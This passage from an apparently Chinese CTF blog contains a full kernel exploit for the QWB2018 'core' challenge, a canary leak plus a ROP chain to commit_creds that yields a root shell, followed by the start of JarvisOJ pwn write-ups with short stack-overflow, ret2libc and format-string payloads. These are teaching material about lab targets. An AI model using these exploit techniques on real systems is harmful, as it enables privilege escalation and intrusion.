  return 0xFFFFFFF2LL;
}

思路

经过如上的分析，可以得出以下的思路：

通过 ioctl 设置 off，然后通过 core_read() leak 出 canary
通过 core_write() 向 name 写，构造 ropchain
通过 core_copy_func() 从 name 向局部变量上写，通过设置合理的长度和 canary 进行 rop
通过 rop 执行 commit_creds(prepare_kernel_cred(0))
返回用户态，通过 system("/bin/sh”) 等起 shell

解释一下：

如何获得 commit_creds()，prepare_kernel_cred() 的地址？
- /tmp/kallsyms 中保存了这些地址，可以直接读取，同时根据偏移固定也能确定 gadgets 的地址

如何返回用户态？

swapgs; iretq，之前说过需要设置 cs, rflags 等信息，可以写一个函数保存这些信息

// intel flavor assembly
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}

// at&t flavor assembly
void save_stats() {
asm(
    "movq %%cs, %0\n"
    "movq %%ss, %1\n"
    "movq %%rsp, %3\n"
    "pushfq\n"
    "popq %2\n"
    :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
    :
    : "memory"
);

} ```

Why bother returning to Userspace?
- Most useful things we want to do are much easier from userland.
- In KernelSpace, there’s no easy way to:
  - Modify the filesystem
  - Create a new process
  - Create network connections

Exploit

先说一下怎么调试，qemu 内置有 gdb 的接口，通过 help 查看

1
2
3

give_to_player [master●●] qemu-system-x86_64 --help | grep gdb
-gdb dev        wait for gdb connection on 'dev'
-s              shorthand for -gdb tcp::1234

即可以通过 -gdb tcp:port 或者 -s 来开启调试端口，start.sh 中已经有了 -s，不必再自己设置。

另外通过 gdb ./vmlinux 启动时，虽然加载了 kernel 的符号表，但没有加载驱动 core.ko 的符号表，可以通过 add-symbol-file core.ko textaddr 加载

pwndbg> help add-symbol-file
Load symbols from FILE, assuming FILE has been dynamically loaded.
Usage: add-symbol-file FILE ADDR [-s <SECT> <SECT_ADDR> -s <SECT> <SECT_ADDR> ...]
ADDR is the starting address of the file's text.
The optional arguments are section-name section-address pairs and
should be specified if the data and bss segments are not contiguous
with the text.  SECT is a section name to be loaded at SECT_ADDR.

.text 段的地址可以通过 /sys/modules/core/section/.text 来查看，查看需要 root 权限，因此为了方便调试，我们再改一下 init

1
2

# setsid /bin/cttyhack setuidgid 1000 /bin/sh
setsid /bin/cttyhack setuidgid 0 /bin/sh

重新打包，这样启动的时候就是 root 权限了。

比如：

// qemu 内
/ # cat /sys/module/core/sections/.text 
0xffffffffc018b000
......
......

// qemu 外
give_to_player [master●●] gdb ./vmlinux -q
pwndbg: loaded 174 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./vmlinux...(no debugging symbols found)...done.
pwndbg> add-symbol-file ./core.ko 0xffffffffc018b000
add symbol table from file "./core.ko" at
	.text_addr = 0xffffffffc018b000
Reading symbols from ./core.ko...(no debugging symbols found)...done.
pwndbg> b core_read					# 加载了符号表，就可以直接对函数下断点了
Breakpoint 1 at 0xffffffffc018b063
pwndbg> b *(0xffffffffc018b000+0xCC)# 或者根据基地址直接下断点
Breakpoint 2 at 0xffffffffc018b0cc
pwndbg> target remote localhost:1234
Remote debugging using localhost:1234
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
0xffffffffa1e6e7d2 in ?? ()
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────[ REGISTERS ]──────────────────────────────────────
 RAX  0xffffffffa1e6e7d0 ◂— sti     /* 0x2e66001f0fc3f4fb */
 RBX  0xffffffffa2810480 ◂— 0x80000000
 RCX  0x0
 RDX  0x0
 RDI  0x0
 RSI  0x0
 R8   0xffff8f250641bf20 —▸ 0xffffb0f380647960 ◂— 1
 R9   0x0
 R10  0x0
 R11  0x32e
 R12  0xffffffffa2810480 ◂— 0x80000000
 R13  0xffffffffa2810480 ◂— 0x80000000
 R14  0x0
 R15  0x0
 RBP  0x0
 RSP  0xffffffffa2803eb8 —▸ 0xffffffffa16b65a0 ◂— 0xff894cf6894c9feb
 RIP  0xffffffffa1e6e7d2 ◂— ret     /* 0x1f0f2e66001f0fc3 */
───────────────────────────────────────[ DISASM ]────────────────────────────────────────
 ► 0xffffffffa1e6e7d2    ret    <0xffffffffa16b65a0>
    ↓
   0xffffffffa16b65a0    jmp    0xffffffffa16b6541
    ↓
   0xffffffffa16b6541    or     byte ptr ds:[r12 + 2], 0x20
   0xffffffffa16b6548    pushfq
   0xffffffffa16b6549    pop    rax
   0xffffffffa16b654a    test   ah, 2
   0xffffffffa16b654d    je     0xffffffffa16b65e5

   0xffffffffa16b6553    call   0xffffffffa16d4720

   0xffffffffa16b6558    call   0xffffffffa16b6430

   0xffffffffa16b655d    mov    rax, qword ptr [rbx]
   0xffffffffa16b6560    test   al, 8
────────────────────────────────────────[ STACK ]────────────────────────────────────────
00:0000│ rsp  0xffffffffa2803eb8 —▸ 0xffffffffa16b65a0 ◂— 0xff894cf6894c9feb
01:0008│      0xffffffffa2803ec0 ◂— 0xc2
02:0010│      0xffffffffa2803ec8 —▸ 0xffffffffa2cc4900 ◂— 0xcccccccccccccccc
03:0018│      0xffffffffa2803ed0 —▸ 0xffff8f2506688900 ◂— jb     0xffff8f2506688971 /* 0x65642f3d746f6f72; 'root=/dev/ram' */
04:0020│      0xffffffffa2803ed8 —▸ 0xffffffffa2ccc2c0 ◂— 0xcccccccccccccccc
05:0028│      0xffffffffa2803ee0 ◂— 0x0
... ↓
07:0038│      0xffffffffa2803ef0 —▸ 0xffffffffa16b673a ◂— jmp    0xffffffffa16b6735 /* 0x564190909090f9eb */
pwndbg> c
Continuing.
......
......


// qemu 内
/ # /tmp/exploit
[*]status has been saved.
commit_creds addr: 0xffffffffa169c8e0
vmlinux_base addr: 0xffffffffa1600000
prepare_kernel_cred addr: 0xffffffffa169cce0
[*]set off to 64
[*]read to buf.
......
......

// qemu 外
pwndbg> c
Continuing.
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!

Breakpoint 1, 0xffffffffc018b063 in core_read ()
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────[ REGISTERS ]──────────────────────────────────────
 RAX  0xffffffffc018b15f (core_ioctl) ◂— cmp    esi, 0x6677889b /* 0x48536677889bfe81 */
 RBX  0x7ffee6e56f10 ◂— 0
 RCX  0x0
 RDX  0x7ffee6e56f10 ◂— 0
 RDI  0x7ffee6e56f10 ◂— 0
 RSI  0x6677889b
 R8   0xffff8f25071b38ac ◂— 1
 R9   0x1
 R10  0x0
 R11  0x0
 R12  0xffff8f250540b7a0 ◂— mov    dh, 0x81 /* 0x581b6 */
 R13  0x6677889b
 R14  0x7ffee6e56f10 ◂— 0
 R15  0x0
 RBP  0x7ffee6e56f10 ◂— 0
 RSP  0xffffb0f3800dbe68 —▸ 0xffffffffc018b19b (core_ioctl+60) ◂— 0xc7c748d6894818eb
 RIP  0xffffffffc018b063 (core_read) ◂— push   rbx /* 0x7bc7c748fb894853 */
───────────────────────────────────────[ DISASM ]────────────────────────────────────────
 ► 0xffffffffc018b063 <core_read>       push   rbx
   0xffffffffc018b064 <core_read+1>     mov    rbx, rdi
   0xffffffffc018b067 <core_read+4>     mov    rdi, -0x3fe73f85
   0xffffffffc018b06e <core_read+11>    sub    rsp, 0x48
   0xffffffffc018b072 <core_read+15>    mov    rax, qword ptr gs:[0x28]
   0xffffffffc018b07b <core_read+24>    mov    qword ptr [rsp + 0x40], rax
   0xffffffffc018b080 <core_read+29>    xor    eax, eax
   0xffffffffc018b082 <core_read+31>    call   0xffffffffa16c6845

   0xffffffffc018b087 <core_read+36>    mov    rsi, qword ptr [rip + 0x2b72]
   0xffffffffc018b08e <core_read+43>    mov    rdx, rbx
   0xffffffffc018b091 <core_read+46>    mov    rdi, -0x3fe73f6b
────────────────────────────────────────[ STACK ]────────────────────────────────────────
00:0000│ rsp  0xffffb0f3800dbe68 —▸ 0xffffffffc018b19b (core_ioctl+60) ◂— 0xc7c748d6894818eb
01:0008│      0xffffb0f3800dbe70 —▸ 0xffff8f25071b3840 ◂— add    qword ptr [r8], rax /* 0x81b6f000014b */
02:0010│      0xffffb0f3800dbe78 —▸ 0xffffffffa17dd6d1 ◂— 0xe824048948df8948
03:0018│      0xffffb0f3800dbe80 ◂— 0x889b
04:0020│      0xffffb0f3800dbe88 —▸ 0xffff8f2507680d00 ◂— 0
05:0028│      0xffffb0f3800dbe90 —▸ 0xffffffffa178ecfa ◂— 0x9e840ffffffdfd3d
06:0030│      0xffffb0f3800dbe98 —▸ 0xffffb0f3800dbe70 —▸ 0xffff8f25071b3840 ◂— add    qword ptr [r8], rax /* 0x81b6f000014b */
07:0038│      0xffffb0f3800dbea0 ◂— 0x10
Breakpoint core_read
pwndbg>

最终 exp

QWB2018_core [master●●] cat exploit.c 
// gcc exploit.c -static -masm=intel -g -o exploit
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

void spawn_shell()
{
	if(!getuid())
	{
		system("/bin/sh");
	}
	else
	{
		puts("[*]spawn shell error!");
	}
	exit(0);
}

size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
/* 
 * give_to_player [master●●] check ./core.ko
   ./core.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=549436d
   [*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/core.ko'
       Arch:     amd64-64-little
       RELRO:    No RELRO
       Stack:    Canary found
       NX:       NX enabled
       PIE:      No PIE (0x0)
*/
size_t vmlinux_base = 0;
size_t find_symbols()
{
	FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
	/* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */

	if(kallsyms_fd < 0)
	{
		puts("[*]open kallsyms error!");
		exit(0);
	}

	char buf[0x30] = {0};
	while(fgets(buf, 0x30, kallsyms_fd))
	{
		if(commit_creds & prepare_kernel_cred)
			return 0;

		if(strstr(buf, "commit_creds") && !commit_creds)
		{
			/* puts(buf); */
			char hex[20] = {0};
			strncpy(hex, buf, 16);
			/* printf("hex: %s\n", hex); */
			sscanf(hex, "%llx", &commit_creds);
			printf("commit_creds addr: %p\n", commit_creds);
			/*
			 * give_to_player [master●●] bpython
				bpython version 0.17.1 on top of Python 2.7.15 /usr/bin/n
				>>> from pwn import *
				>>> vmlinux = ELF("./vmlinux")
				[*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/vmli'
				    Arch:     amd64-64-little
				    RELRO:    No RELRO
				    Stack:    Canary found
				    NX:       NX disabled
				    PIE:      No PIE (0xffffffff81000000)
				    RWX:      Has RWX segments
				>>> hex(vmlinux.sym['commit_creds'] - 0xffffffff81000000)
				'0x9c8e0'
			*/
			vmlinux_base = commit_creds - 0x9c8e0;
			printf("vmlinux_base addr: %p\n", vmlinux_base);
		}

		if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
		{
			/* puts(buf); */
			char hex[20] = {0};
			strncpy(hex, buf, 16);
			sscanf(hex, "%llx", &prepare_kernel_cred);
			printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
			vmlinux_base = prepare_kernel_cred - 0x9cce0;
			/* printf("vmlinux_base addr: %p\n", vmlinux_base); */
		}
	}

	if(!(prepare_kernel_cred & commit_creds))
	{
		puts("[*]Error!");
		exit(0);
	}

}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
	__asm__("mov user_cs, cs;"
			"mov user_ss, ss;"
			"mov user_sp, rsp;"
			"pushf;"
			"pop user_rflags;"
			);
	puts("[*]status has been saved.");
}

void set_off(int fd, long long idx)
{
	printf("[*]set off to %ld\n", idx);
	ioctl(fd, 0x6677889C, idx);
}

void core_read(int fd, char *buf)
{
	puts("[*]read to buf.");
	ioctl(fd, 0x6677889B, buf);

}

void core_copy_func(int fd, long long size)
{
	printf("[*]copy from user with size: %ld\n", size);
	ioctl(fd, 0x6677889A, size);
}

int main()
{
	save_status();
	int fd = open("/proc/core", 2);
	if(fd < 0)
	{
		puts("[*]open /proc/core error!");
		exit(0);
	}
	
	find_symbols();
	// gadget = raw_gadget - raw_vmlinux_base + vmlinux_base;
	ssize_t offset = vmlinux_base - raw_vmlinux_base;

	set_off(fd, 0x40);

	char buf[0x40] = {0};
	core_read(fd, buf);
	size_t canary = ((size_t *)buf)[0];
	printf("[+]canary: %p\n", canary);

	size_t rop[0x1000] = {0};

	int i;
	for(i = 0; i < 10; i++)
	{
		rop[i] = canary;
	}
	rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
	rop[i++] = 0;
	rop[i++] = prepare_kernel_cred;			// prepare_kernel_cred(0)

	rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
	rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
	rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx; 
	rop[i++] = commit_creds;
	
	rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
	rop[i++] = 0;

	rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret; 

	rop[i++] = (size_t)spawn_shell;			// rip 
	
	rop[i++] = user_cs;
	rop[i++] = user_rflags;
	rop[i++] = user_sp;
	rop[i++] = user_ss;

	write(fd, rop, 0x800);
	core_copy_func(fd, 0xffffffffffff0000 | (0x100));

	return 0;
}

get root shell

QWB2018_core [master●●] gcc exploit.c -static -masm=intel -g -o exploit // 如果使用 intel 汇编需要加上 -masm=intel 
QWB2018_core [master●●] cp exploit give_to_player/core/tmp
cp：是否覆盖'give_to_player/core/tmp/exploit'？ y
QWB2018_core [master●●] cd give_to_player/core
core [master●●] ./gen_cpio.sh core.cpio
.
./usr
./usr/sbin
......
......

core [master●●] mv core.cpio ..
mv：是否覆盖'../core.cpio'？ y
core [master●●] cd ..
give_to_player [master●●] ./start.sh

/ $ ls /tmp/
exploit   kallsyms
/ $ id
uid=1000(chal) gid=1000(chal) groups=1000(chal)
/ $ /tmp/exploit
[*]status has been saved.
commit_creds addr: 0xffffffffbd09c8e0
vmlinux_base addr: 0xffffffffbd000000
prepare_kernel_cred addr: 0xffffffffbd09cce0
[*]set off to 64
[*]read to buf.
[+]canary: 0x6be486f377bb8600
[*]copy from user with size: -65280
/ # id
uid=0(root) gid=0(root)

当然这个题目也有其他做法，下篇再分析。

Reference and Thanks to

Linux Manual Pages

https://zh.wikipedia.org/wiki/内核

https://zh.wikipedia.org/wiki/分级保护域

https://www.anquanke.com/post/id/86490

https://zh.wikipedia.org/wiki/Ioctl

http://www.freebuf.com/articles/system/54263.html

https://blog.csdn.net/zqixiao_09/article/details/50839042

https://bbs.pediy.com/thread-247054.htm

https://yq.aliyun.com/articles/53679

https://whereisk0shl.top/NCSTISC%20Linux%20Kernel%20pwn450%20writeup.html

https://code.woboq.org/linux/linux/include/linux/cred.h.html#cred

https://elixir.bootlin.com/linux/v4.4.72/source/include/linux/cred.h#L118

http://muhe.live/2017/07/13/babydriver-writeup/

https://xz.aliyun.com/t/2306

https://unix.stackexchange.com/questions/5518/what-is-the-difference-between-the-following-kernel-makefile-terms-vmlinux-vml

https://blog.csdn.net/gatieme/article/details/78311841

https://veritas501.space/2018/06/05/qwb2018%20core/

http://blog.vmsplice.net/2011/09/how-to-share-files-instantly-between.html

JarvisOJ Pwn Writeup

Sun, 16 Sep 2018 22:09:27 +0800

JarvisOJ-all-pwn-Writeup

解决了 jarvisOJ 至今（2018.9.19）的所有 pwn 题目，分享一下 writeup。做题目的过程中参考了很多师傅的 writeup，在 Reference 中贴出了师傅们的博客，感谢师傅们的分享。

题目较多，对于网上有较多 writeup 的题目，不再详细分析，只列出思路；着重分析 writeup 较少的题目。

[XMAN]level0 (50)

最简单的栈溢出，给了能直接拿 shell 的函数，覆盖返回地址为该函数地址即可

+----------+
|........  |
|padding   |
|........  |
|          |
+----------+
|padding   |  <- rbp
+----------+
|callsystem|  <- ret addr
+----------+

`1`	`payload = '0' * (0x80 + 0x8) + p64(ELF("./level0").sym['callsystem'])`

exploit here

Tell Me Something (100)

与上一题几乎完全一样，不再分析

`1`	`payload = '0' * (0x80 + 0x8) + p64(ELF("./guestbook").sym['good_game'])`

exploit here

[XMAN]level1 (100)

有栈溢出漏洞，没有开 NX 保护，因此可以用 shellcode

+----------+              
|shellcode |  <-----------+
|shellcode |              |
|........  |              |
|junk data |              |
|........  |              |
|          |              |
+----------+              |
|junk data |  <- ebp      |
+----------+              |
|buf addr  |  <- ret add -+
+----------+

`1`	`payload = asm(shellcraft.sh()).ljust(0x88 + 0x4, '\0') + p32(buf_addr)`

exploit here

[XMAN]level2 (150)

存在栈溢出，程序中有 system 函数和 /bin/sh 字符串，根据函数调用约定，32 位程序函数的参数是放在栈上的，因此可以通过伪造一个调用 system("/bin/sh”) 的栈结构来 get shell

+---------------+
|padding        |
|.......        |
|               |
|               |
|               |
+---------------+
|padding        | <- ebp
+---------------+
|system addr    | <- ret addr
+---------------+ 
|junk data      | <- system ret
+---------------+
|/bin/sh addr   | 
+---------------+

1
2

payload = flat(cyclic(0x88 + 4), elf.sym['system'], 'aaaa', next(elf.search("/bin/sh")))
# 此时程序运行流程为 vulnerable_function -> system("/bin/sh") -> junk data，因为我们已经执行了 system("/bin/sh")，因此 system("/bin/sh") 的返回地址（即 junk data 可以随便指定）

exploit here

Typo (150)

这道题目特殊在程序是 arm 架构的，但其实只是一个简单的 rop，把环境搭建好后并不难。

我在另一篇博文中以这道题目为例分析了 arm 的 pwn，包括了运行和调试的环境搭建，以及恢复符号，链接。

exploit here

[XMAN]level2_x64 (200)

与 level2 相比思路基本一致，不同的是这道题目是 64 位的，64 位与 32 位的传参规则不同，需要用到 rop 控制寄存器，网上有很多分析 rop 的文章，这里就不介绍了。

+--------------+
|padding       |
|......        |
|              |
|              |
|              |
+--------------+
|padding       | <- rbp
+--------------+
|prdi addr     | <- ret addr
+--------------+
|/bin/sh addr  |
+--------------+
|system addr   |
+--------------+

`1`	`payload = flat(cyclic(0x88), prdi, next(elf.search("/bin/sh")), elf.sym['system'])`

exploit here

[XMAN]level3 (200)

标准的 ret2libc，先通过 rop 控制 puts 出某个 GOT 中的地址以找到 libc 的基址（elf 的延迟绑定网上也有很多分析的文章，这里也不介绍了），有了 libc 的基地址后，libc 中的所有函数和字符串的地址就知道了，构造一个 system("/bin/sh”) 的函数调用栈即可

+-----------+
|padding    |
|......     |
|           |
|           |
+-----------+
|padding    |  <- ebp
+-----------+
|write@plt  |  <- ret addr
+-----------+
|_start addr|  # write(1, write@got, 4) -> _start
+-----------+
|1          |
+-----------+
|write@got  |
+-----------+
|4          |
+-----------+

+-----------+
|padding    |
|......     |
|           |
+-----------+
|padding    |  <- ebp
+-----------+
|system     |  <- ret addr
+-----------+-
|junk data  |  # system("/bin/sh") -> junk data
+-----------+
|/bin/sh addr
+-----------+

1
2

leak = flat(cyclic(0x88 + 4), elf.plt['write'], elf.sym['_start'], 1, elf.got['write'], 4)
rop = flat(cyclic(0x88 + 4), libc.sym['system'], 'aaaa', next(libc.search("/bin/sh")))

新手容易犯的一个错误是本地和远程的 libc 混用，不同版本的 libc 函数的偏移一般不同，所以本地测试和远程需要使用对应的 libc，本地调试时可以通过 LD_PRELOAD=./libc_path ./binary 来指定 libc（版本相差过大时可能会出错）

exploit here

Smashes (200)

ssp 攻击，大致原理是覆盖 __libc_argv[0]，触发栈溢出，通过报错来 leak 某些信息。veritas501 师傅对这种方法做过很优秀的分析。

通过调试可以快速确定覆盖所需的偏移量以及重映射后 flag 的地址

pwndbg> stack 50
00:0000│ rax rsp rdi-1  0x7fffffffddd0 ◂— 0x31313131313131 /* u'1111111' */
01:0008│                0x7fffffffddd8 ◂— 0x0
... ↓
15:00a8│                0x7fffffffde78 —▸ 0x7ffff7dd3760 (_IO_2_1_stdout_) ◂— 0xfbad2887
16:00b0│                0x7fffffffde80 ◂— 0x0
17:00b8│                0x7fffffffde88 —▸ 0x7ffff7a99b82 (_IO_default_setbuf+66) ◂— cmp    eax, -1
18:00c0│                0x7fffffffde90 ◂— 0x0
19:00c8│                0x7fffffffde98 —▸ 0x7ffff7dd3760 (_IO_2_1_stdout_) ◂— 0xfbad2887
1a:00d0│                0x7fffffffdea0 ◂— 0x0
... ↓
1c:00e0│                0x7fffffffdeb0 —▸ 0x7ffff7dcf2a0 (_IO_file_jumps) ◂— 0x0
1d:00e8│                0x7fffffffdeb8 —▸ 0x7ffff7a966f9 (_IO_file_setbuf+9) ◂— test   rax, rax
1e:00f0│                0x7fffffffdec0 —▸ 0x7ffff7dd3760 (_IO_2_1_stdout_) ◂— 0xfbad2887
1f:00f8│                0x7fffffffdec8 —▸ 0x7ffff7a8dc37 (setbuffer+231) ◂— test   dword ptr [rbx], 0x8000
20:0100│                0x7fffffffded0 —▸ 0x7ffff7de70e0 (_dl_fini) ◂— push   rbp
21:0108│                0x7fffffffded8 ◂— 0xe2daa1a4cd530600
22:0110│                0x7fffffffdee0 —▸ 0x4008b0 ◂— push   r15
23:0118│                0x7fffffffdee8 ◂— 0x0
24:0120│                0x7fffffffdef0 —▸ 0x4008b0 ◂— push   r15
25:0128│                0x7fffffffdef8 —▸ 0x4006e7 ◂— xor    eax, eax
26:0130│                0x7fffffffdf00 ◂— 0x0
27:0138│                0x7fffffffdf08 —▸ 0x7ffff7a3fa87 (__libc_start_main+231) ◂— mov    edi, eax
28:0140│                0x7fffffffdf10 ◂— 0x0
29:0148│                0x7fffffffdf18 —▸ 0x7fffffffdfe8 —▸ 0x7fffffffe312 ◂— 0x346d2f656d6f682f ('/home/m4')
2a:0150│                0x7fffffffdf20 ◂— 0x100000000
2b:0158│                0x7fffffffdf28 —▸ 0x4006d0 ◂— sub    rsp, 8
2c:0160│                0x7fffffffdf30 ◂— 0x0
2d:0168│                0x7fffffffdf38 ◂— 0xeab3e86e873f94c
2e:0170│                0x7fffffffdf40 —▸ 0x4006ee ◂— xor    ebp, ebp
2f:0178│                0x7fffffffdf48 —▸ 0x7fffffffdfe0 ◂— 0x1
30:0180│                0x7fffffffdf50 ◂— 0x0
... ↓
pwndbg> distance 0x7fffffffdfe8 0x7fffffffddd0
0x7fffffffdfe8->0x7fffffffddd0 is -0x218 bytes (-0x43 words)
pwndbg> search CTF{
smashes         0x400d21 push   r12
smashes         0x600d21 0x657265487b465443 ('CTF{Here')
warning: Unable to access 16000 bytes of target memory at 0x7ffff7bd2e83, halting search.
pwndbg>

因此可以构造如下的 payload

`1`	`payload = flat(cyclic(0x218), 0x400d21)`

或者可以用一种更暴力的方法，不计算偏移量，直接用 flag 地址暴力覆盖过去

`1`	`payload = p64(0x400d21) * 100`

exploit here

[61dctf]fm (200)

格式化字符串漏洞的入门题目，格式化字符串漏洞的原理也可以找到很多分析，这里不说了。这道题目中只需要修改一个全局变量的值为 4 即可

1
2
3

payload = p32(ELF("./fm").sym['x']) + "%11$n"
# 或者使用 fmtstr_payload()
payload = fmtstr_payload(11, {ELF("./fm").sym['x']: 4})

exploit here

Backdoor (200)

一个 windows 的题目，其实更像一个逆向题目。

在 sub_401000 函数中存在栈溢出

int __cdecl sub_401000(char *Source)
{
  char Dest[31]; // [esp+4Ch] [ebp-20h]

  strcpy(Dest, "0");
  *(_DWORD *)&Dest[2] = 0;
  *(_DWORD *)&Dest[6] = 0;
  *(_DWORD *)&Dest[10] = 0;
  *(_DWORD *)&Dest[14] = 0;
  *(_DWORD *)&Dest[18] = 0;
  *(_DWORD *)&Dest[22] = 0;
  *(_DWORD *)&Dest[26] = 0;
  *(_WORD *)&Dest[30] = 0;
  strcpy(Dest, Source);                         // overflow
  return 0;
}

Source 是由 argv[1] 以及程序中的 xor，qmemcpy 等操作共同决定的。看一下进行了哪些操作

signed int __cdecl wmain(int argc, char **argv)
{
  char v3[145]; // [esp+50h] [ebp-2C8h]
  char v4; // [esp+E1h] [ebp-237h]
  char v5[28]; // [esp+E4h] [ebp-234h]
  char Source[5]; // [esp+100h] [ebp-218h]
  __int16 i; // [esp+108h] [ebp-210h]
  char Dest[512]; // [esp+10Ch] [ebp-20Ch]
  __int16 offset; // [esp+30Ch] [ebp-Ch]
  LPSTR lpMultiByteStr; // [esp+310h] [ebp-8h]
  int cbMultiByte; // [esp+314h] [ebp-4h]

  cbMultiByte = WideCharToMultiByte(1u, 0, (LPCWSTR)argv[1], -1, 0, 0, 0, 0);
  lpMultiByteStr = (LPSTR)sub_4011F0(cbMultiByte);
  WideCharToMultiByte(1u, 0, (LPCWSTR)argv[1], -1, lpMultiByteStr, cbMultiByte, 0, 0);
  offset = *(_WORD *)lpMultiByteStr; // offset = argv[1]
  if ( offset < 0 )
    return -1;
  offset ^= 0x6443u;
  strcpy(Dest, "0");
  memset(&Dest[2], 0, 0x1FEu);
  for ( i = 0; i < offset; ++i )
    Dest[i] = 'A';
  *(_DWORD *)Source = 0x7FFA4512;               // jmp esp
  Source[4] = 0;
  strcpy(&Dest[offset], Source);
  qmemcpy(v5, nops, 0x1Au);
  strcpy(&Dest[offset + 4], v5);
  qmemcpy(v3, &shellcode, sizeof(v3));
  v4 = 0;
  strcpy(&Dest[offset + 29], v3);
  sub_401000(Dest);
  return 0;
}

大致的处理流程是用户传给程序的参数 (argv[1]) 亦或 0x6443 后作为一个偏移量，然后 jmp esp，nops，shellcode 等依次 copy 到 Dest[offset] 上，最后在 sub_401000() 里触出栈溢出(本来不知道 0x7FFA4512 是什么，搜了一下才发现这是 windows 下的一个万能 jmp esp)

看一下 sub_401000() 的栈结构，控制 jmp esp 为返回地址即可触发后门，也即是 offset ^ 0x6443 == 0x20 + 4 即可

-00000020 Dest            db 31 dup(?)
-00000001                 db ? ; undefined
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)
+00000008 Source          dd ?

因此可以得到该参数和 flag

jarvisOJ_Backdoor [master●●●] cat solve.py 
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from hashlib import sha256
from libnum import n2s

key = 0x20 + 4
key ^= 0x6443
print key
key = hex(key)[2: ]

print "PCTF{%s}" % (sha256(key.decode('hex')[::-1]).hexdigest())

[XMAN]level3(x64) (250)

与 level3 相比，只在函数传参上有区别，按照 x64 的函数调用约定 leak 出 libc，然后 rop 执行 system("/bin/sh”) 即可。

值得注意的是，这道题目中没有 puts，因此 leak libc 只能通过 write(1, elf.got['write'], 8)，但 ROPgadget 等工具只能找到控制 rdi 和 rsi 的 gadget，也就是我们不能控制 write 输出的长度，这时候有两种方法：

一是使用 64 位 elf 的通用 gadget；

二是通过调试发现 write 时 rdx 是大于 8 的（实际上大于 6 即可），因此可以完全不用考虑控制 rdx。

exploit here

[XMAN]level4 (250)

这道题目与 level3 相比没有提供 libc，因此就不能通过 leak libc 的方式来找 system 和 /bin/sh 的地址了。pwntools 中有个很有用的函数 DynELF，可以在能控制 leak 内容的情况下leak 出某些函数的地址（如 system）。

和 level3 相似，这道题目可以构造 rop leak 出某些地址上的内容后返回到 _start，因此可以通过 DynELF 来 leak 出 system 的地址，再读入 /bin/sh\0 字符串既可以构造 rop 调用 system("/bin/sh")

DynELF 的原理可以看沐师傅的一篇分析

exploit here

Test Your Memory (300)

这道题目分数给高了，难度大概只是和 level2 相当，构造 rop chain 直接调用 system("cat flag") 即可，唯一需要注意的是程序最后有一个 strncmp，需要保证此时 strncmp 比较的两个两个地址都是可读的

  if ( !strncmp(s, s2, 4u) )
    puts("good job!!\n");
  else
    puts("cff flag is failed!!\n");

+-----------+
|padding    |
|......     |
|           |
+-----------+
|padding    | <- ebp
+-----------+
|win_func   | <- ret addr
+-----------+-
|readable   | <- mem_test 函数的参数，即 strncmp 比较的对象，需要保证该地址是可读的
+-----------+
|catflag    |
+-----------+

exploit here

[XMAN]level5 (300)

题目假设禁用了 system 和 execve，并提示使用 mprotect 或者 mmap。先看一下这两个函数是什么作用，查看这两个函数的 man 手册

NAME
       mprotect — set protection of memory mapping

SYNOPSIS
       #include <sys/mman.h>

       int mprotect(void *addr, size_t len, int prot);

DESCRIPTION
       The mprotect() function shall change the access protections to be  that  speci‐
       fied  by prot for those whole pages containing any part of the address space of
       the process starting at address addr and continuing for len bytes. The  parame‐
       ter  prot  determines  whether  read,  write,  execute,  or some combination of
       accesses are permitted to the data being mapped. The prot  argument  should  be
       either  PROT_NONE  or  the  bitwise-inclusive  OR  of one or more of PROT_READ,
       PROT_WRITE, and PROT_EXEC.


NAME
       mmap — map pages of memory

SYNOPSIS
       #include <sys/mman.h>

       void *mmap(void *addr, size_t len, int prot, int flags,
           int fildes, off_t off);

DESCRIPTION
       The mmap() function shall establish a mapping between an  address  space  of  a
       process and a memory object.

mprotect

mprotect 函数用于改变某段地址的权限（rwxp），mmap 用于申请一段空间，根据参数不同可以设置这段空间的权限。

